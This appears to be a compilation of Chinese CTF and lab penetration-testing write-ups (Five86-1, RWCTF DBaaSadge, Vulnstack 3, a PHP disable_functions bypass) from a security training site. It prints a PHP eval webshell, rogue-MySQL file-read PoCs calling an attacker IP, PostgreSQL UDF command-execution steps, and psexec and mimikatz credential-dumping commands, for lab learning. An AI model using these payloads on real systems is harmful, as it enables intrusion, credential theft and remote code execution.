Five86-1靶机渗透实战
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>>
靶机地址:http://www.vulnhub.com/entry/five86-1,417/
相关实验:https://www.yijinglab.com/expc.do?ec=ECIDdb58-4b9d-427b-b7b3-8382c7e0a7f5 (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag)
技术点
opennetadmin v18.1.1RCE
searchsploit
github搜索exp
破解Linux中经过HASH加密的密码
crunch生成字典
john和hashcat破解密码
hash-identifier查看HASH类型
SSH免密登陆
公钥复制为authorized_keys
Linux查看当前用户权限可读文件和可执行命令
查看当前用户权限可读文件find / -type f -user www-data
可执行命令sudo -l
目标发现
nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.5
nmap -sS -A -v 192.168.56.5 看一下详细的扫描结果 -sS 是半开放扫描,-A 是进行操作系统指纹和版本检测,-v 输出详细情况
可以看到开放了 22、80、10000 三个端口,并且 80 端口存在 robots.txt 和路径 /ona
漏洞发现与利用
访问192.168.56.5是个空白页面,然后去访问 /ona,可以看到是 opennetadmin 的管理页面,并且版本是 18.1.1
v18.1.1的opennetadmin是存在RCE漏洞的,在github找个exp打过去就可以,github.com/amriunix/ona-rce
或者是使用 searchsploit ,不过这里有个坑点,就是要对这个bash脚本进行转换格式,否则会报错,使用dos2unix 47691.sh这个命令,而且这里的shell不能转成TTY
下面的问题就是如何进行提权了,经过一番测试,发现这里无法执行的命令是没有回显的,并且不能执行cd命令,但是可以使用ls和cat命令
这里肯定是有权限控制的,可以使用find / -type f -user www-data命令查看这个用户可以读取的文件,除了/proc 就是/var/www/html/reports/.htaccess和/var/log/ona.log
读取var/www/html/reports/.htaccess可以找到AuthUserFile的路径/var/www/.htpasswd
读取这个文件如下,可以得到用户名douglas和HASH的密码$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1,给的提示是只包含aefhrt的十个字符
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1 # To make things slightly less painful (a standard dictionary will likely fail), # use the following character set for this 10 character password: aefhrt
先用hash-identifier看一下是哪个HASH,结果 hash -type : [+] MD5(APR)
然后使用crunch生成对应的字典,命令格式crunch <min-len> <max-len> [charset string] [options],这里生成只包含aefhrt的10个字符,就可以使用如下命令crunch 10 10 aefhrt -o pass.txt,更多的介绍可以看https://www.freebuf.com/sectool/170817.html和https://blog.csdn.net/qq_42025840/article/details/81125584
最后就要用大名鼎鼎的hashcat去破解这个HASH,命令格式hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...,这里使用的命令为hashcat -m 1600 -a 0 -o res hash.txt pass.txt
-m是HASH类别,-a是攻击方式,-o是输出结果,更多的参数可以参考https://www.freebuf.com/sectool/164507.html。这里在kali里面运行一直报错,就转移到wsl2里面了,命令hashcat -m 1600 -a 0 -o res hash.txt pass.txt --force
最终密码为 fatherrrrr
或者这里也可以使用john来进行破解john --wordlist=pass.txt hash.txt,但是速度可能有丶问题
使用ssh连接ssh douglas@192.168.56.5
这里是个TTY,但还是存在权限控制,使用sudo -l看一下可以使用什么命令,结果是(jen) NOPASSWD: /bin/cp,这里就有点奇怪了,douglas可以用jen的身份运行cp命令
先去访问一下home目录,发现douglas和jen这两个用户,但是只能用jen的cp命令,且没有jen的密码
值得注意的是,如果jen用户下的/home/jen/.ssh/authorized_keys包含douglas的公钥,那就可以用douglas的id_rsa文件登陆jen的ssh,也即免密登陆jen的ssh。这里复制到/tmp目录下是因为jen没有权限访问douglas目录下的文件
cp .ssh/id_rsa.pub /tmp/authorized_keys chmod 777 /tmp/authorized_keys sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
然后用ssh连接ssh -i id_rsa jen@127.0.0.1
成功登陆jen,看到提示mail,还是先执行echo $(find / -type f -user jen) > 1.txt 看一下,有一个/var/mail/jen的文件可以读取
或者这里直接输入mail的命令也可以看到
读取一下,其内容如下
关键词:change Moss's password、his password is now Fire!Fire!
接着ssh连接moss用户ssh moss@127.0.0.1
在当前目录发现了一个隐藏目录.games,访问后发现一个root权限的二进制文件upyourgame
运行之后就发现自己神奇的变成root用户辣
最后,flag在/root中,为8f3b38dd95eccf600593da4522251746
彩蛋时刻,其实在拿到douglas的密码之后就可以用虚拟机登陆,然后操作,这里是用的moss的账号密码,也是同样的效果
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
MD5加解密与暴力破解
本实验围绕MD5加解密软件,通过对软件操作实现基本的字符加密和解密,介绍了MD5暴力破解的方法,通过本实验的学习,你能够掌握MD5破解的方法、过程和原理,增强对MD5算法安全性的认识。
实验简介
实验所属系列:网络安全实践
实验对象:本科/专科信息安全专业
相关课程及专业:计算机基础,Linux基础
实验类别:实践实验类
预备知识
本实验要求实验者具备如下的相关知识。
hash,一般翻译做“散列”,也有直接音译为"哈希",就是把任意长度的输入通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,而不可能从散列来唯一 确定输入值。简单说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。MD5和SHA1可以说是目前应用最广泛的Hash算法,而它们都是以MD4为基础设计的。
1、MD4
MD4(RFC 1320)是MIT的Ronald L. Rivest在1990年设计的,MD是Message Digest的缩写。它适用在32位字长的处理器上用高速软件实现--它是基于 32 位操作数的位操作来实现的。
2、MD5
MD5(RFC 1321)Rivest于1991年对MD4的改进版本。它对输入仍以512位分组,其输出是4个32位字的级联,与MD4相同。MD5比MD4来得复杂并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好。
下面简单介绍一下MD5的安全性。
Rivest猜想作为128比特长的杂凑值来说,MD5的强度达到了最大,比如找出具有相同杂凑值的两个消息需执行O(264)次运算,而寻找具有给定杂凑值的一个消息需要执行O(2128)次运算。
然而,2004年山东大学的王小云等成功找出了MD5的碰撞,发生碰撞的消息有两个1024 比特长的串M、Ni构成,设消息M||Ni的碰撞时M’和Ni’,在IBMP690上找M和M’花费时间大约一小时,找到M和M’后,则只需15秒至5分钟就可找出Ni和Ni’。
2007年,Marc Stevens,Arjen K. Lenstra和Benne de Weger进一步指出通过伪造软件签名,可重复性攻击MD5算法。研究者使用前缀碰撞法(chosen-prefix collision),使程序前端包含恶意程序,利用后面的空间添上垃圾代码凑出同样的MD5 Hash值。
2008年,荷兰埃因霍芬技术大学科学家成功把2个可执行文件进行了MD5碰撞,使得这两个运行结果不同的程序被计算出同一个MD5。2008年12月一组科研人员通过MD5碰撞成功生成了伪造的SSL证书,这使得在https协议中服务器可以伪造一些根CA的签名。
现在随着硬件技术和计算机处理能力的快速上升,MD5的暴力破解也越来越快,在安全要求高的场合一般不会使用MD5
实验目的
了解MD5破解原理,熟练使用MD5破解工具。
实验环境
Windows操作系统
实验地址:
https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015081317154100001https://www.yijinglab.com/expc.do?ec=c1385a78-f8dc-4259-9a84-bcbad7ada107
Real World CTF 2020 DBaaSadge Writeup
昨天刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。
由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我)
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001 (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。)
复现环境下载
链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 提取码:kwck 复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
源码分析
打开题目直接显示源码
<?php error_reporting(0); if(!$sql=(string)$_GET["sql"]){ show_source(__FILE__); die(); } header('Content-Type: text/plain'); if(strlen($sql)>100){ die('That query is too long ;_;'); } if(!pg_pconnect('dbname=postgres user=realuser')){ die('DB gone ;_;'); } if($query = pg_query($sql)){ print_r(pg_fe
这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。
第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试
进入postgre交互式命令行的方式是
psql
如果你在这步就报错了,请切换到postgres用户再做
pg_query的报错函数为:
print_r(pg_fetch_all($query));
因此我们在最后一个else里面加上这个函数
这样只要我们输入错误,显示的就是具体语句查询时候的报错。
接下来我们首先看看这个postgre的版本和用户
这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本
select user; select version();
根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。
当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路
接着我们在题目给的dockerfile里面看到他安装了两个扩展
在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展
其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库
select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');
而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
于是我们亲爱的鱼就想到了rouge-mysql
这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
从这里下载到脚本
https://github.com/allyshka/Rogue-MySql-Server
有两个版本,py版本和php版本,这里推荐php版本
py版本为什么不好原因有3:
1. 后台监听且不回显 (你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错) 2. 结果在同目录下的一个mysql.log文件里,差点没找到。 3. 每次读取还得自己改一下源码里面的文件名
php版本就很人性,动态输入文件名,然后直接回显在屏幕上。
postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:
https://blog.csdn.net/bingluo8787/article/details/100958098
我们不用创建那么大的表格,随便填一个id int就行
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306'); CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root'); CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); select * from test;
最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改
最后读取的poc如下:
import requests import hashlib import random import uuid url ="http://54.219.197.26:60080/?sql=" #填你的IP ip="***" port="***" server_name="aaaa" dbname=server_name Table_name=server_name poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');" #poc2里填写你
在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件
那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。
这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害
我的想法
寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。
但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:
这个很明显是不能够登录的,到了这里我就开始想爆破密码了
爆破的poc为
http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);
如果成功连接那么网页会回显
Array ( [0] => Array ( [dblink_connect] => OK ) )
错误则是回显颜文字
爆破的时候用的是burpsuite的Turbo intruder
Turbo 介绍
和普通的intruder不同,这个速度差不多是原来旧版本的10倍
我相信很多人还是在使用intruder(还是换了吧,那个确实慢)
每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好
当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址
https://portswigger.net/bappstore
这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以
主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好
然后爆破的时候需要在框里面填一下py的功能函数
如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):
from itertools import product def brute_veify_code(target, engine, length): pattern = '1234567890abcdefghijklmnopqrstuvwxyz' for i in list(product(pattern, repeat=length)): code = ''.join(i) engine.queue(target.req, code) def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.e
然后在url里面需要爆破的位置用%s表示
这个速度是真的很快的,一秒大概4000多个
如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。
然后这题6千万个密码,就把我电脑内存和带宽跑炸了......
鱼哥的做法
怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置
这里说一下postgre的交互式命令行
进入postgre的交互式命令行的命令为
psql
你也可以用
psql -c "commond"
来直接执行命令,和mysql一样
但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:
所以我们要切换到postgres用户
然后我们查询系统变量
这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好
然后我们进入目录下,发现一堆文件
如何寻找密码文件呢,前面看了conf文件为md5加密
这里教大家一个方便查找文件内容的命令egrep
egrep -r "内容" 目录
其中内容部分支持正则表达式
最后发现在global/1260里面
提供一个爆破md5的工具,这个是真的很快:
http://c3rb3r.openwall.net/mdcrack
爆破方式参考
http://www.91ri.org/1285.html
很快啊,他就直接出来了,前面5位就是密码,后面的是用户名
还记得dblink扩展的作用吗,用来连接postgre数据库。
然后我们就可以用dblink直接登录superuser了
所以剩下的问题就是用superuser执行命令的问题了
只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text);
但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。
然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。
我的想法
由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。
没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在蚁景的文章再学一下。
于是我实验了postgre的存储过程,也很快,因为这个确实熟悉
只要发送如图上两次请求就可以调用d函数中的select语句
但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)
鱼哥的想法
鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。
可以将 SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text); 变形为 SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
第一个select做连接,第二个做执行命令。
调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" po
先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行
坑点又来了!
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
具体原因尚未分析。
varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。
要写入mysql的poc
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $<?=@eval($_REQUEST[3]);?>$) to $/tmp/smity.php$;');
弄好以后差不多如下
然后poc:
import requests import random import uuid url ="http://IP/?sql=" poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m
然后对面的/tmp目录就写了个文件
这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令
这个是固定的用法了
参考
https://blog.csdn.net/qq_33020901/article/details/79032774
这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可
大致过程如下:
按照题目postgre的大版本编一个符合版本的.so
将.so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里
发送poc让对面服务器来我们这里查询出来语句并且执行
udf.so编译过程
先去这个网页下载编译程序
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
然后进入题目docker
先安装一个postgre-server-dev,不然很多头文件没有。
apt install postgresql-server-dev-all
然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。
然后将下载的复制到docker里面
make 10
就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so
报错不用管他
这个就是我们需要的udf.so
然后是分片
因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败
用python脚本去分割udf.so文件
Python
#~/usr/bin/env python 2.7 #-*- coding:utf-8 -*- import sys if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:python " + sys.argv[0] + "inputfile" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 =
会出来6个大块,分为6条语句,和参考网页里的一样
https://blog.csdn.net/qq_33020901/article/details/79032774 SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('...'); insert into pg_largeobject values (9023, 1, decode('...'); insert into pg_largeobject values (9023, 2, decode('...'); insert into pg_largeobject values (9023,
实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题
然后删除原来的表,重新添加
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......
然后运行刚才的poc,写入/tmp/testeval.so
写入so以后,我们需要执行以下sql语句来执行命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; select sys_eval('id');
原来的参考网站有一条
drop function sys_eval;
应该是写错了,加了这个不能运行
再次清空我们服务器上的mysql数据表,重新建立
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/rea
然后再次运行poc,得到flag
总结
队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。
Web渗透实战:使用burp进行暴力破解
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001
实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:网络安全,计算机网络
实验类别:实践实验类
1.Burp的工作模式:
在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
2.暴力破解:
一般使用暴力破解都有两种原因:
1.对这个漏洞的测试,人是可以完成的,即可穷举。
2.人可以完成,但是代价太大,或者太浪费时间。
正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。
实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
实验环境
服务器:windows xp sp3 ip地址:10.1.1.163
测试者:windows xp sp3 ip地址随机
Vulnstack 3 域环境靶机实战
环境搭建
将环境从http://vulnstack.qiyuanxuetang.net/vuln/detail/5/上下载下来,只需要添加相应的一个VMNET2的网卡,且IP段为192.168.93.0/24
需要进入centos重启一下网卡,至少我是这么做的才找到IP。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID2026-aeda-4f39-89ed-c6444fa2bfa2 (本节课主要讲解Vulnhub渗透测试实战靶场关于Joomla CMS的综合渗透练习,通过该实验学习渗透测试的信息收集、漏洞扫描与利用、权限提升,最终获取/root下的flag。)
拓扑图
WEB入口
主机发现
nmap -sn 192.168.124.0/24
端口
nmap -sS 192.168.124.16
收集到3个端口,暂不做全部扫描。那就先看下网站首页,如下。
web站点
是一个joomla的web页面,顺手一个administrator放在url后面,看到后台,看到后台,看到后台。我还是比较乐观的人,总想去尝试尝试一两个弱口令。现实总会给我一记响亮的耳光,失败告终。
只好掏出dirsearch,然后扫描下目录:
这是以php~结尾的后缀名,应该不会被当成php执行,所以,
这个时候,就可以连接数据库了,那就找密码进后台。
难道还是想我爆破?如果让我爆破,那这必然是个弱口令。先去网上子弹(字典),掏出大菠萝(john)就是一顿扫。子弹打完了,发现敌人丝毫不动,那,那宣告失败吧。都说失败是成功的爹。接着换思路,就是在本地搭建一个一模一样的。然后将自己mysql里的password字段复制到目标数据库中去或者添加一个新用户,太懒是原罪。然后,在网上找到直接添加到数据库的方法,在https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
改成目标机器上的表名就可以了:
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,
虽然密码格式不一样,但是依然能进后台。
在模板处可以修改网站源代码:Extensions-->Templates,在index.php中插入一句话,保存。
该亮出尚方宝剑——蚁剑了,致命一击进入内网了。然后就翻车了
这,,,原来是被禁用了危险函数,虽然不能执行命令,但是能看到php版本,是php7的。然后发现蚁剑有专门的绕过disable_function的插件,姿势不错,有点狐气。然后针对php7的绕过挨个挨个试。
绕过了会弹出一个新的交互式shell界面
内网渗透
权限太低,是个www-data的权限。相信经过一番努力使用各种姿势提权,总会绝望的。那就只能是自己没有做好信息收集,找:定时任务、/home、/etc/passwd、网站根目录、/tmp目录。最后在/tmp/mysql/test.txt中看到用户名密码
但是并没有在本机器上发现这个 wwwuser 的用户。索性尝试下,又不犯罪。
竟然成功了?猜测应该做了转发将http请求转到内网的主机上,有内网就可以继续渗透。
而使用ssh连接的主机的网卡,有三个,一个连接外网,一个连接内网。
然后接着提权这台外网的主机,很顺利,看样子是有备而来。看了下内核为2.6.32 并且是centos的操作系统,直接使用脏牛提权成功。
获取一个msf会话,接着渗透。
后渗透
添加路由
meterpreter > run get_local_subnets meterpreter > run autoroute -s 192.168.93.0/255.255.255.0
探测内网主机的存活
# 针对windows use auxiliary/scanner/smb/smb_version # linux use auxiliary/scanner/discovery/arp_sweep 用这个没有探测出windows主机
最终所有主机如下
三个windows,两个使用ms17-010,未果。都没能得到会话。
啊,这....。最后借鉴了下别人的方法,原来是爆破。字典不够强大,最后还是将密码添加到字典中去了(无可奈何)。假如说我爆破出来了
use auxiliary/scanner/smb/smb_login set SMBUSER administrator set PASS_FILE /root/桌面/passlist
获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.93.30 set smbuser administrator set smbpass 123qwe!ASD
然后拿到两个会话,这个exploit需要多尝试几次,才行。
查看是否在域环境
meterpreter > sysinfo
sysinfo" src="headImg.action?news=b44d60ec-bd7d-4839-acf1-004953f9a34e.png" width="848" height="99"
拿下域控
在server2008上发现域控登录后的记录,然后使用 mimikatz 获取到明文域控密码。
load mimikatz mimikatz_command -f privilege::debug mimikatz_command -f sekurlsa::logonPasswords
得到域管理员账号密码。由于密码的特殊性,尝试使用wmiexec.py一直没成功,两个!!在linux是特殊符号,表示重新执行上一条命令。然后通过下面方法拿到shell
当前用户为
远程连接
run post/windows/manage/enable_rdp proxychains rdesktop 192.168.93.20
php中函数禁用绕过的原理与利用
是否遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段的结束;本文将会以webshell作为起点从头到尾来归纳bypass disable function的各种姿势。
从phpinfo中获取可用信息
信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。
我谈谈我个人的几个偏向点:
版本号
最直观的就是php版本号(虽然版本号有时候会在响应头中出现),如我的机器上版本号为:
PHP Version 7.2.9-1
那么找到版本号后就会综合看看是否有什么"版本专享"漏洞可以利用。
DOCUMENT_ROOT
接下来就是搜索一下DOCUMENT_ROOT取得网站当前路径,虽然常见的都是在/var/www/html,但难免有例外。
disable_functions
这是本文的重点,disable_functions顾名思义函数禁用,以笔者的kali环境为例,默认就禁用了如下函数:
如一些ctf题会把disable设置的极其恶心,即使我们在上传马儿到网站后会发现什么也做不了,那么此时的绕过就是本文所要讲的内容了。
open_basedir
该配置限制了当前php程序所能访问到的路径,如笔者设置了:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();
随后我们能够看到phpinfo中出现如下:
尝试scandir会发现列根目录失败。
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
opcache
如果使用了opcache,那么可能达成getshell,但需要存在文件上传的点,直接看链接:
https://www.cnblogs.com/xhds/p/13239331.htmlothers
如文件包含时判断协议是否可用的两个配置项:
allow_url_include、allow_url_fopen
上传webshell时判断是否可用短标签的配置项:
short_open_tag
还有一些会在下文中讲到。
bypass open_basedir
因为有时需要根据题目判断采用哪种bypass方式,同时,能够列目录对于下一步测试有不小帮助,这里列举几种比较常见的bypass方式,均从p神博客摘出,推荐阅读p神博客原文,这里仅作简略总结。
syslink
https://www.php.net/manual/zh/function.symlink.phpsymlink ( string $target , string $link ) : bool
symlink() 对于已有的 target 建立一个名为 link 的符号连接。
简单来说就是建立软链达成bypass。
代码实现如下:
<?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");
